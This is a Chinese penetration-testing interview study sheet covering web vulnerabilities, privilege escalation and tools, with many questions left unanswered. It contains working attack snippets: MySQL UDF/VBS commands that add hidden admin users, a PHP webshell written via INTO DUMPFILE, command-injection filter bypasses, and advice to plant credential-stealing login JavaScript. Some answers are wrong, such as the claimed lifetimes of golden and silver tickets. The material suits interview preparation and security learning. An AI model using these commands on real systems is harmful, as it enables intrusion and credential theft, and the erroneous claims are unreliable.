渗透测试面试总结
# :面试总结
# 目录
[TOC]
>如果你觉得我写的不够清楚,或者还有很多东西没有写。
>
>那么一定是我觉得很简单不用写的内容,严格的来说,这些简答的内容,应该已经化作养分融入到了你的血液,成为了你的生物行为和习惯。
>
>如果这些都不会,我觉得,就算你去忽悠面试官,你也忽悠不了。
>
>所以还是老老实实学习吧。
<span style=font-size:25px;color:violet;background-color:red;>应该从喜欢里得到力量和快乐,</span><span style=font-size:20px;color:blue;background-color:black;>而不是耗尽你的所有快乐和喜欢得到力量。</span>
<span style=font-size:25px>爱一个行业和技能应该是长期的细水长流,而不是短暂的决堤崩洪。</span>
# 一、WEB:
## 1-SQL注入原理
```shell
# WEB应用程序对用户输入的数据
# 没有过滤或者过滤的不严谨
# 并且把用户输入的数据当作SQL 语句
# 带入到数据中去执行
```
## 2-SQL注入分类
```shell
# 从反馈结果来分
1-回显型
2-无回显型/盲注
# 从攻击手法上来分
1-联合查询注入 union select
2-堆叠注入 ;
3-报错注入 updatexml、floor、ExtractValue 其他的用的不多不用说
4-盲注
4.1-布尔盲注
4.2-时间盲注
```
## 3-SQL注入防御
```shell
# 代码层防御
1-对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。
2-限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。
3-使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。
# 网络层面
部署防护墙和软硬WAF
```
## 4-XSS原理
```shell
1-XSS漏洞是跨站脚本攻击
2-是HTML代码的注入
3-他是通过对网页,注入浏览器可执行的代码,从而实现的攻击手段。
```
## 5-XSS分类
```shell
1-反射型
2-存储型
3-DOM型
```
## 6-XSS区别
```shell
# 反射型 和 存储型
都需需要经过服务器解析,并与数据库产生交互
# DOM 型
只需要经过前端解析,不与数据库产生交互
# 存储型 和 DOM型
都会将攻击代码长期存在受害者服务器
# 反射型
而反射型,只会反弹一次攻击代码
```
## 7-CSRF 成功利用的条件
```shell
1- 用户在统一浏览器下
2- 没有关闭浏览器的情况下
3- 访问了攻击者精心伪装好的恶意链接
```
## 8-SSRF原理
```shell
1- 服务器允许向其他服务器获取资源
2- 但是并没有对该地址做严格的过滤和限制
3- 所以导致了攻击者可以向受害者服务器,传入任意的URL 地址,并将数据返回
```
## 9-SSRF危害
```shell
1- SSRF漏洞几乎无所不能
2- SQL注入
3- Sturts2
4- 端口探测
5- 敏感信息泄露
# 最为主要的就是能够访问到外网无法访问的系统和服务器,漫游内网
```
## 10-SSRF防御
```shell
1- 地址做白名单处理
2- 域名识别ip,过滤内部ip
3- 并校验返回的内容对比是否与假定的一致
```
## 11-文件上传分类
```shell
1- 白名单
2- 黑名单
```
## 12-文件上传的突破
```shell
1- 前端JS突破:抓包修改文件名 或者 禁用当前浏览器的JS脚本
2- 后端突破:
2.1-黑名单:方法太多了 点、空格点、 php 1234567 、phphtml、分布式文件上传、文件流绕过....
2.2-白名单:比较鸡肋的00截断、时间竞争、双文件上传、双文件名...
```
## 13-你了解那些中间件
```shell
1- iis6.x
2- Apache
3- iis7.5
4- Nginx
5- Tomcat
6- Weblogic
7- Jboos
```
## 14-你会那些解析漏洞
```shell
# 1- IIS6.X
大多数为Windows server 2003,网站比较古老,如果要支持aspx,需要安装.NET框架
1.1- 利用2003系统的系统特性,但凡出现 \/.:;* 文件名的后面都会被舍弃
形式:www.xxx.com/xx.asp;.jpg
1.2-凡是文件名是apx结尾的,里面的任何文件都会被当作脚本语言解析
1.3-除了asp、aspx以外,还有cer、cdx、asa 的后缀都可以被当作asp或者aspx脚本语言解析
形式:mamu.cer muma.cdx mamu.asa
# 2- Apache
1-muma.php.xxx.aaa 从左往右解析执行
# 3- Nginx
# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1- www.xxxx.com/1.jpg/1.php
2- www.xxxx.com/1.jpg%00.php
3- www.xxxx.com/1.jpg/%20\0.php
# 4-IIS7.5
# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1-在任意后缀后面加上x.php
形式:www.xxx.com/logo.jpg/x.php
www.xxx.com/logo.txt/x.php
www.xxx.com/logo.doc/x.php
```
## 15-未授权访问漏洞
```shell
# 常见的未授权访问漏洞:
1- Redis 未授权访问漏洞
2- MongoDB 未授权访问漏洞
3- Jenkins 未授权访问漏洞
4- Memcached 未授权访问漏洞
5- JBOSS 未授权访问漏洞
6- VNC 未授权访问漏洞
7- Docker 未授权访问漏洞
8- ZooKeeper 未授权访问漏洞
9- Rsync 未授权访问漏洞
10- Atlassian Crowd 未授权访问漏洞
11- CouchDB 未授权访问漏洞
12- Elasticsearch 未授权访问漏洞
13- Hadoop 未授权访问漏洞
14- Jupyter Notebook 未授权访问漏洞
```
>参考链接: https://xz.aliyun.com/t/6103
>
> 参考链接:https://paper.seebug.org/409/
>
>参考链接: https://www.freebuf.com/articles/web/207877.html
## 16-XXE的原理
```shell
# XXE漏洞就是xml外部实体注入漏洞,
通常和危害一起回答出来会感觉更加流畅和自然
# 通常发生在应用程序解析XML输入时,没有禁止外部实体的加载,
导致可加载恶意外部文件,
造成文件读取、
命令执行、
内网端口扫描、
攻击内网网站、
发起dos攻击等危害。
```
## 17-XXE的分类
```shell
1- 有回显型XXE
2- 无回显型XXE
```
## 补充:XXE有哪些引入方式
```shell
1- 本地映入
2- 外部引入
3- 外部参数实体引入
```
## 18-遇到XXE的盲注怎么办
```shell
# 如果遇到XXE无回显注入的话,可以选择使用DNS外带和 外部参数实体注入
1- 在攻击者自己的公网服务器,准备一个test.dtd通过base64为将读取的内容加密得到的值当作传参值,发送给攻击者的公网服务器
2-受害者那边,通过外部参数实体注入 访问攻击者公网服务器下的test.dtd文件
3-最后看,攻击者公网服务器,的日志,转码得到受害者服务器的内容
```
## 20-遇到那些框架
## 21-win提权
```shell
1-内核提权 systeminfo 寻找对应EXP
```
## 22-linux提权
```shell
1- 脏牛提权
2- sodu提权
3- 内核提权
```
## 补充:说说你了解的脏牛提权
```shell
我当时没上来,有哪位老哥,比较好的答案,记得发给我啊,跪谢
```
## 23-数据库提权
```shell
# MySQL
1- mof提权
2- udf提权
3- VBS启动项提权
# SQLserver
1-xp_cmdshell 扩展存储函数提权
2-差异备份提权
# Access
```
## 补充:MySQL UDF提权的常用命令
```shell
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user liuyazhuang lyz123 /add');
select cmdshell('net localgroup administrators liuyazhuang /add');
select cmdshell('net localgroup administrators');
select cmdshell('ipconfig/all');
select cmdshell('net user');
select cmdshell('regedit /s d:\wwwroot\3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
```
## 补充:MySQL VBS启动项提权
```shell
# 原理概述
先通过WebShell连接数据库,通过建立表a将VBS脚本写入表中,然后导入启动项。该脚本仅对中文版有效,如果使用其他语言版本的操作系统,仅需对"C:\\Documents and Settings\\All Users\\[开始]菜单\\程序\\启动\\a.vbs"这个脚本进行相应更改。在VBS脚本后面有一个"0",表示不弹出CMD窗口,以静默模式运行。该方法是在通过UDF提权失败的情况下,将VBS插入启动项中,待系统重启后将自动添加一个用户,
#执行语句
create table a (cmd text); # 创建一个a表 cmd字段 text是字段类型
insert into a values("set wshshell=createobject(""wscript.shell"") " );# 在a表里插入了一个vbsshell语句
insert into a values("a=wshshell.run(""cmd.exe /c net user xxoo 123123 /add"",0) " );# 用VBSshell执行了一个添加用户的操作
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators xxoo /add"",0) " );# 用VBSshell 执行了将xxoo这个用户,添加到了管理员组
select * from a into outfile "C:\\Documents and Settings\\All Users\\[开始]菜单\\程序\\启动\\a.vbs"; # 最后将a表里面的内容,插入到/写入到 启动项的目录下,并且保存文件名为a.vbs
```
## 补充:Linux下的MySQL提权
```shell
mysql -hlocalhost -uroot -p
system useradd hacker
system passwd hacker
system tail -l /etc/passwd
system tail -l /etc/shadow
```
## 24-说说SQLmap
```shell
1-SQLmap 是最强大的注入工具,没有之一,几乎所有的数据库都可以注入
# 关键函数
--is-dba #当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs #所有数据库
--current-db #网站当前数据库
--users #所有数据库用户
--current-user #当前数据库用户
--random-agent #构造随机user-agent
--passwords #数据库密码
--proxy http://local:8080 –threads 10 #(可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS #响应的延迟时间(默认为5秒
--threads= #使用多少线程
--batch #自动化选择
# Cookie注入
sqlmap.py -u "http://www.xxx.com?id=1注入点" --cookie="cookie值" --current-db
# POST注入
sqlmap -r “数据包地址” -p “需要制定的参数” –dbms 需要制定的数据类型
# GET注入
sqomap -u “注入点地址” --dbs 跟上你需要的参数
# sqlmap进行交互式写shell
1-前提条件:最高权限、知道web网站绝对路径、能获取到cookie
2- sqlmap.py -u "注入点地址" --cookie="cookie值" --os-shell
2.1-echo “一句话木马”>网站的绝对路径
3- 输入web网站的绝对路径
4-传木马
```
## 25-说说Nmap
```shell
# Nmap 是一款网络扫描和主机检测的工具
# 常用的参数
nmap www.baidu.com #扫描单一的一个主机)
nmap 192.168.1.154 #扫描单一的一个主机)
nmap 192.168.1.1/24 #扫描整个子网
nmap 192.168.1.154 192.168.1.156 #扫描多个目标)
nmap 192.168.1.1-100 #扫描IP地址为192.168.1.1-192.168.1.100内的所有主机
nmap -iL target.txt #扫描批量ip地址
nmap 192.168.1.1/24 -exclude 192.168.1.1 #扫描除过某一个 ip 外的所有子网主机
nmap 192.168.1.1/24 -exclude file xxx.txt #xxx.txt 中的文件将会从扫描的主机中排除
nmap -p80,21,23 192.168.1.154 #扫描特定主机上的 80、21、23 端口
nmap -sS 192.168.1.1 #半开放扫描比较喜欢用的一个
namap --script==vuln #扫漏洞,比较重的一个
namp -oN # 保存扫描结果
基本这些就够用了,如果有大佬觉得还有更好的使用方式欢迎补充啊,跪谢
```
## 26-说说MSF
```shell
# 常用命令
background #让meterpreter处于后台模式
sessions -i number #与会话进行交互,number表示第n个session
quit #退出会话
shell #获得命令行
cat c:\\boot.ini #查看文件内容
getwd #查看当前工作目录 work directory
upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上
download 0xfa.txt /root/Desktop/ # 下载文件到本机上
edit c:\\boot.ini # 编辑文件
search -d d:\\www -f web.config #search 文件
ps #查看当前活跃进程
migrate pid #将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe #创建新进程cmd.exe,-H不可见,-i交互
getpid #获取当前进程的pid
kill pid #杀死进程
getuid #查看权限
sysinfo #查看目标机系统信息,如机器名,操作系统等
getsystem #提权操作
timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间
# 迁移进程
1-meterpreter > ps
2-自行选择PID
3-meterpreter > migrate pid
还可以做免杀木马等等。。。。MSF 蛮强大的
```
## 27-SQL注入bypass你会那些手法
```shell
1-等量替换
2-参数污染HPP
3-编码绕过
4-SQL特性
```
## 28-文件上传怎么绕过
```shell
```
## 29-命令执行怎么绕过
```shell
cat 233.txt
# 管道符号绕过
# 空格绕过
${IFS}
# %0a、%09
# 重定向绕过
< <>
# 变量拼接绕过
@kali:$ a=c;b=at;c=fl;d=ag;$a$b $c$d
# 单引号、双引号绕过
ca''t flag
cat"" flag
# 编码绕过
#$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
#{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#$(printf "\154\163") ==>ls
$(printf "\154\163")
# 查看等价替换
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
# 反斜线绕过
c\at fl\ag
# 内敛注释绕过
#`命令`和$(命令)都是执行命令的方式
echo "m0re`cat flag`"
echo "m0re $(cat flag)"
# base64编码绕过
`echo "Y2F0IGZsYWc="|base64 -d`
# 绕过长度限制
# >命令会将原有文件内容覆盖
echo '123'>xxoo.txt
# >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo '233'>>xxoo.txt
# 命令换行绕过
ca\
a\
t\
fl\
ag
```
## 30-了解域渗透吗?说说域渗透
```
1-制作白银票据
2-制作黄金票据
二者区别:黄金票据只有30分钟,白银票据是永久
当然了,域渗透肯定不止那么点内容,东西还是很多的。下次更新了会把更新好的终极版发给大家
```
## 31-php反序列化
```shell
其实我觉得按照传统的概念去回答真的不好。如果谁有比较好的回答,请发给我
```
## 32-说说java
## 33-用python写过工具吗?
## 34-python用过那些框架?
## 35-做过那些项目?
## 36-说一下渗透流程
```
1-信息收集
2-发现漏洞
3-验证漏洞-利用漏洞
4-写渗透测试报告
```
## 37-你怎么做信息收集
```shell
收集域名信息
Whois查询
备案信息查询
敏感信息
子域名信息
收集常用端口信息
指纹识别
查找真实IP
敏感目录文件
```
## 38-有CNVD证书吗?
## 39-打过CTF吗?有排名吗?
## 40-平时在哪里挖漏洞?都挖那些漏洞?挖了多久?主要挖那些类型的漏洞?有排名吗?
## 41-了解那些端口?
```shell
#web网站
80 web
80-89 web
8000-9090 web
#数据库
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
50000 DB2
#特殊服务类
443 SSL心脏滴血
445 ms08067/ms11058/ms17010等
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
#常用端口类
21 ftp
22 SSH
23 Telnet
445 SMB弱口令扫描
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
```
## 42-某某端口是什么意思?
## 43- 如何手工快速判断目标站是windows还是linux服务器?
```shell
# linux大小写敏感,windows大小写不敏感。
```
## 44- 为何一个mysql数据库的站,只有一个80端口开放?
```shell
# 更改了端口
# 站库分离
# 3306端口不对外开放
```
## 45- 3389无法连接的几种情况
```shell
# 没开放3389 端口
# 端口被修改
# 防护拦截
# 处于内网(需进行端口转发)
```
## 46-MySQL 怎么写shell
```shell
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile '路劲.muma.php';
```
## 47-MySQL 写shell有那几个必要的条件?都是那些
```shell
# 写shell必要的有3个条件
1-必须是root权限
2-知道网站的绝对路径
3-my.ini的配置文件中secure_file_priv函数配置必须为空
```
## 48-了解编辑器漏洞吗?
```shell
# 其实还是文件上传漏洞
1- FCKeditor编辑器
2- EWEbeditor编辑器
3- DotNetTextBox编辑器
4- Kedit编辑器
5- Cute Editor 在线编辑器
#这个问题基本回答个两三个就可以
```
## 49- access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?
```shell
# 迅雷下载,直接改后缀为.mdb。
```
## 50- 提权时选择可读写目录,为何尽量不用带空格的目录?
```shell
# 因为exp执行多半需要空格界定参数
```
## 51- 注入时可以不使用and 或or 或xor,直接order by 开始注入吗? 为什么?
```shell
# and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
```
## 52-某个防注入系统,在注入时会提示
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
如何利用这个防注入系统拿shell?
```shell
# 在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接
```
## 53- 上传大马后访问乱码时,有哪些解决办法?
```shell
# 浏览器中改编码。
```
## 54- 目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
```shell
# 先爆破用户名,再利用被爆破出来的用户名爆破密码。
# 其实有些站点,在登陆处也会这样提示
# 所有和数据库有交互的地方都有可能有注入。
```
## 55- 在有shell的情况下,如何使用xss实现对目标站的长久控制?
```shell
# 后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个 生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
# 在登录后才可以访问的文件中插入XSS脚本。
```
## 56- 后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
```shell
# 审查元素 把密码处的password属性改成text就明文显示了
```
## 57- 以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
indext.php?id=AjAxNg==
```shell
# DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试
```
## 58-SQLserver有几种提权方式?怎么提权?
```shell
# 有三种提权方式
咦,这个好像前面写过了,这里就不写了
```
## 59- CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
```shell
# XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
# 修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
# CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
# 修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
# XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
# 修复方式:XML解析库在调用时严格禁止对外部实体的解析。
```
## 60- CSRF、SSRF和重放攻击有什么区别?
```shell
# CSRF是跨站请求伪造攻击,由客户端发起
# SSRF是服务器端请求伪造,由服务器发起
# 重放攻击是将截获的数据包进行重放,达到身份认证等目的
```
## 61- 说出至少三种业务逻辑漏洞,以及修复方式?
```shell
# 密码找回漏洞中存在
1)密码允许暴力破解、
2)存在通用型找回凭证、
3)可以跳过验证步骤、
4)找回凭证可以拦包获取
5)前端返回
等方式来通过厂商提供的密码找回功能来得到密码。
# 身份认证漏洞中最常见的是
1)会话固定攻击
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可伪造用户身份。
# 验证码漏洞中存在
1)验证码允许暴力破解
2)验证码可以通过 Javascript 或者改包的方法来进行绕过
3)空值绕过
4)验证码的值可控
```
## 62- 如何防止CSRF?
```shell
# 1、验证referer
# 2、添加token
# 3、关键地方验证码验证
# 4、尤其是修改密码,要验证旧密码
```
## 63-OWAP TOP 10都有哪些?
```shell
# 1、SQL注入
# 2、失效的身份认证和会话管理
# 3、跨站脚本攻击XSS
# 4、直接引用不安全的对象
# 5、安全配置错误
# 6、敏感信息泄露
# 7、缺少功能级的访问控制
# 8、跨站请求伪造CSRF
# 9、使用含有已知漏洞的组件
# 10、未验证的重定向和转发
```
## 64- 代码执行,文件读取,命令执行的函数都有哪些?
```shell
# 1-代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
# 2-文件读取:
file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
# 3-命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
```
## 65- img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
```shell
# src指定一个远程的脚本文件,获取referer
```
## 66-文件包含都有哪些伪协议?
```shell
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
```
## 67-文件上传怎么突破过滤?
前端绕过、大小写突破、双重后缀名突破、过滤绕过、特殊后缀名、特殊后缀名等等
## 69-cookie 存在哪里?
## 70-xss 如何盗取 cookie?
## 71-xss 有 cookie 一定可以无用户名密码登录吗?
## 72-xss 如何防御?
## 73-Https 的作用
## 74-防范常见的 Web 攻击
## 75-Cookies 和 session 区别
## 76-GET 和 POST 的区别
## 77-HTTPS 和 HTTP 的区别
## 78-session 的工作原理?
## 79-http 长连接和短连接的区别
## 80-一次完整的 HTTP 请求过程
## 81-URI 和 URL 的区别
## 82-什么是 SSL ?
## 83-https 是如何保证数据传输的安全(SSL 是怎么工作保证安全的)
## 84-常见的状态码有哪些?
## 85-防范常见的 Web 攻击
## 86-什么是webshell
## 87-IIS 服务器应该做哪些方面的保护措施:
## 88-xss 有 cookie 一定可以无用户名密码登录吗?
## 89- JNI 函数在 java 中函数名为 com.didi.security.main,C 中的函数名是什么样的?
## 90-Frida 和 Xposed 框架?
## 91-SSRF 利用方式?
## 92-HTTPS 握手过程中用到哪些技术?
## 93-请写出两种有可能实现任意命令执行的方式?
## 94-常见的中间件漏洞?
## 95-OWASP Top10 有哪些漏洞
## 96-蚁剑/菜刀/C 刀/冰蝎的相同与不相同之处
## 97-数据库有哪些,关系型的和非关系型的分别是哪些
## 98-为何一个 MYSQL 数据库的站,只有一个 80 端口开放?
## 99-一个成熟并且相对安全的 CMS,渗透时扫描目录的意义?
## 100-在某后台新闻编辑界面看到编辑器,应该先做什么?
## 101-审查上传点的元素有什么意义?
## 102-CSRF、XSS 及 XXE 有什么区别,以及修复方式?
## 103-3389 无法连接的几种情况
## 104-目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403,什么原因?
## 105-目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
## 106-如何突破注入时字符被转义?
## 107-拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?
## 108-安全狗会追踪变量,从而发现出是一句话木马吗?
## 109-提权时选择可读写目录,为何尽量不用带空格的目录?
## 110-如何利用这个防注入系统拿 shell?
## 111-报错注入的函数有哪些?
## 112-延时注入如何来判断?
## 113-如何拿一个网站的 webshell?
## 114-sql 注入写文件都有哪些函数?
## 115-代码执行,文件读取,命令执行的函数都有哪些?
## 116-img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?
## 117-为什么 aspx 木马权限比 asp 大?
## 118-如何绕过 waf?
## 119-mysql 两种提权方式
## 120-宽字节注入产生原理以及根本原因
## 121-sql 如何写 shell/单引号被过滤怎么办
## 122-XSS 蠕虫的产生条件
## 123-常见的上传绕过方式.导致文件包含的函数
## 124-导致文件包含的函数
## 125-金融行业常见逻辑漏洞
## 126-常用 WEB 开发 JAVA 框架
## 127-php 中命令执行涉及到的函数
## 128-宝塔禁止PHP函数如何绕过?
## 129-webshell有system权限但无法执行命令,怎么办?
## 130-说下strust2的漏洞利用原理?
## 131-php/java反序列化漏洞的原理?解决方案?
## 132-CRLF注入的原理
## 133-php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
## 134-说说常见的中间件解析
# 二、内网
1. dll 文件是什么意思,有什么用?
2. 重要协议分布层
3. arp 协议的工作原理
4. rip 协议是什么?rip 的工作原理
5. 什么是 RARP?工作原理
6. OSPF 协议?OSPF 的工作原理
7. TCP 与 UDP 区别总结
8. 什么是三次握手四次挥手?
9. tcp 为什么要三次握手?
10. dns 是什么?dns 的工作原理
11. OSI 的七层模型都有哪些?
12. session 的工作原理?什么是 TCP 粘包/拆包?发生原因?解决方案
13. TCP 如何保证可靠传输?
14. TCP 对应的应用层协议,UDP 对应的应用层协议
15. 什么是网络钓鱼?
16. 0day 漏洞
17. Rootkit 是什么意思
18. 蜜罐
19. ssh
20. 震网病毒
21. NAT(网络地址转换)协议
22. 内网穿透
23. 虚拟专用网络
24. 二层交换机
25. 路由技术
26. 三层交换机
27. IPv6 地址表示
28. 内网渗透思路?
29. 正向代理和反向代理的区别
30. Windows 常用的提权方法
31. Linux 提权有哪些方法
32. 3389 无法连接的几种情况
33. nmap,扫描的几种方式
34. 渗透测试中常见的端口
35. 用什么扫描端口,目录
36. 3306 1443 8080 是什么端口
37. 清理日志要清理哪些(windows和linux)
38. go语言免杀shellcode如何免杀?免杀原理是什么?
39. windows defender防御机制原理,如何绕过?
40. 卡巴斯基进程保护如何绕过进行进程迁移?
41. fastjson不出网如何利用?
42. 工作组环境下如何进行渗透?详细说明渗透思路。
43. 内存马的机制?
44. 不出网有什么方法,正向shel l 方法除了reg之类的,还有什么?
45. 什么是域内委派?利用要点?
46. shiro漏洞类型,721原理,721利用要注意什么?
47. hvv三大洞?
48. 天擎终端防护如何绕过,绕过思路?
49. 免杀木马的思路?
50. jsonp跨域的危害,cors跨域的危害?
51. 说出印象比较深刻的一次外网打点进入内网?
52. rmi的利用原理?
53. 域内的一个普通用户(非域用户)如何进行利用?
54. 证书透明度的危害?
55. 内网渗透降权的作用?
56. TrustedInstall权限的原理是什么?
57. 2008的服务权限如何进行提权?
58. Windows UAC原理是什么?
59. Windows添加用户如何绕过火绒以及360?
60. 如何伪造钓鱼邮箱?会面临什么问题?
61. 分别说出redis、weblogic、Mongodb、Elasticsearch、ldap、sambda、Jenkins、rmi默认端口。
62. 烂土豆提权使用过吗?它的原理?
63. powershell免杀怎么制作?
64. 提取内存hash被查杀,如何绕过?
65. 分别说下linux、windows的权限维持?
66. 如何开展红队工作?
67. 如何把shellcode嵌入到正常exe中?
68. 描述下Spring框架的几个漏洞?
# 三、其他
## 一、对称加密和非对称加密
1. 对称加密:加密解密用同一个密钥
2. 非对称加密:公钥加密,私钥解密;公钥可以公开给别人进行加密,私钥永远在自己手里
3. SYN 攻击原理
4. 什么是网络钓鱼?
5. 什么是 CC 攻击?
6. Web 服务器被入侵后,怎样进行排查?
7. 你获取网络安全知识途径有哪些?
8. DDOS
9. 手工查找后门木马的小技巧
10. 脱壳
11. “人肉搜索”
12. SYN Flood 的基本原理
13. 什么是手机”越狱“
14. 主机被入侵,你会如何处理这件事自查解决方案:
15. 证书要考哪些?
16. 宏病毒?
17. APP 加壳?
18. 勒索软件 Wanacry 的特征?蠕虫、僵尸病毒
19. ARM32 位指令中,返回值和返回地址保存在哪个寄存器中?
20. Android APP 逆向分析步骤一般是怎么样的?
21. ddos 如何防护
22. 有没有抓过包,会不会写 wireshark 过滤规则
23. 如何加固一个域环境下的 Windows 桌面工作环境?请给出你的思路。
24. RSA 算法
25. AES/DES 的具体工作步骤
26. 如何开展蓝队工作?
## 二、什么是同源策略?
# 四、素质面:
## 1-自我介绍?
## 2-你愿意加班吗?
## 3-为什么投我们公司?
## 4-你觉得有哪些是你会别人不会的?
## 5-你最想在哪些城市发展?